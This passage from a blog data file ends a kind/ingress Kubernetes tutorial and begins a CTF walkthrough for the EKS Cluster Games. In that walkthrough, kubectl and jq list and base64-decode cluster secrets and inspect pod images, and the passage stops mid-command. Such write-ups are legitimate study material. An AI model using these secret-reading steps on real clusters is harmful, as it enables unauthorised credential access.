\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"args\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{},\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"headers\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Accept\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eUsing Ingress\u003c/h1\u003e\n\u003cp\u003eNow to use the ingress rather than port forwarding we create one additional\nresource, the \u003ccode\u003eIngress\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enetworking.k8s.io/v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIngress\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin-ingress\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eannotations\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003enginx.ingress.kubernetes.io/rewrite-target\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/$2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eingressClassName\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enginx\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erules\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ehttp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epaths\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/httpbin(/|$)(.*)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epathType\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eImplementationSpecific\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ebackend\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eservice\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003enumber\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e8000\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThere are a few critical options here.  The first is the annotation to rewrite\nthe path so it doesn't include \u003ccode\u003e/httpbin/\u003c/code\u003e when it sends the request to the\nservice and then the \u003ccode\u003epath\u003c/code\u003e and \u003ccode\u003epathType\u003c/code\u003e so it knows which paths to send to\nwhich service.\u003c/p\u003e\n\u003cp\u003eNow you should be able to hit your local host and get routed to your\nkubernetes service:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elocalhost/httpbin/get\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSuccess!  Now you have a multinode kubernetes cluster that has an ingress\ncontroller!\u003c/p\u003e\n\u003ch1\u003eNext Steps\u003c/h1\u003e\n\u003cp\u003eThe cluster can be used like a production cluster now for local\ndevelopment!  You could setup Grafana, ArgoCD, etc. to run\ninside the cluster.\u003c/p\u003e","category":"Kubernetes","date":"2023-07-20T19:00:00-05:00","tags":["Linux","Kubernetes","DevOps","SRE"],"title":"Running a kubernetes cluster locally with kind"}]},"SRE":{"count":5,"posts":[{"id":["2023","eks_cluster_games_ctf"],"path":"2023/eks_cluster_games_ctf","contentHtml":"\u003cp\u003e\u003ca href=\"https://eksclustergames.com\"\u003eeksclustergames.com\u003c/a\u003e is a new CTF targetted at\nkubernetes vulnerabilities. This is a walk through on how to solve the issues.\u003c/p\u003e\n\u003ch1\u003eChallenge 1\u003c/h1\u003e\n\u003cp\u003eThe first challenge starts off with a clue:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eJumpstart your quest by listing all the secrets in the cluster.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eCan you spot the flag among them?\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo lets start off by getting the secrets:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esecret\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTYPE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDATA\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003elog-rotate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOpaque\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e37\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eh\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSince there is only one, lets view it!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esecret\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"apiVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"items\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"apiVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"data\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"flag\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ==\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Secret\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"metadata\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"creationTimestamp\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:02:08Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"name\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"log-rotate\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"namespace\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"challenge1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"890951\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"uid\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"03f6372c-b728-4c5b-ad28-70d5af8d387c\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"type\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Opaque\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"List\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"metadata\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe flag seems to be in \u003ccode\u003e.items[0].data.flag\u003c/code\u003e and is \u003ccode\u003ebase64\u003c/code\u003e encoded so we can\ndecode it as well:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esecret\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.items[0].data.flag'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-r\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ebase64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewiz_eks_challenge\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{omg_over_privileged_*REDACTED*}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eFirst flag found!\u003c/p\u003e\n\u003cp\u003eThis one was definitely a softball but it gets you nice and warmed up on the\nplatform.\u003c/p\u003e\n\u003ch1\u003eChallenge 2\u003c/h1\u003e\n\u003cp\u003eThe hint for this challenge is:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eA thing we learned during our research: always check the container registries.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eFor your convenience, the crane utility is already pre-installed on the machine.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe first thing I think of when reading this is that it has something to do\nwith the registry a pod is living on.   So lets list the pods and see what is\navailable:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRESTARTS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edatabase-pod-2c9b3a4e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e36\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eh\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWith only one pod as a target, lets get the image for it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.items[0].spec.containers[0].image'\u003c/span\u003e\u003c/span\u003e\n\u003cspan 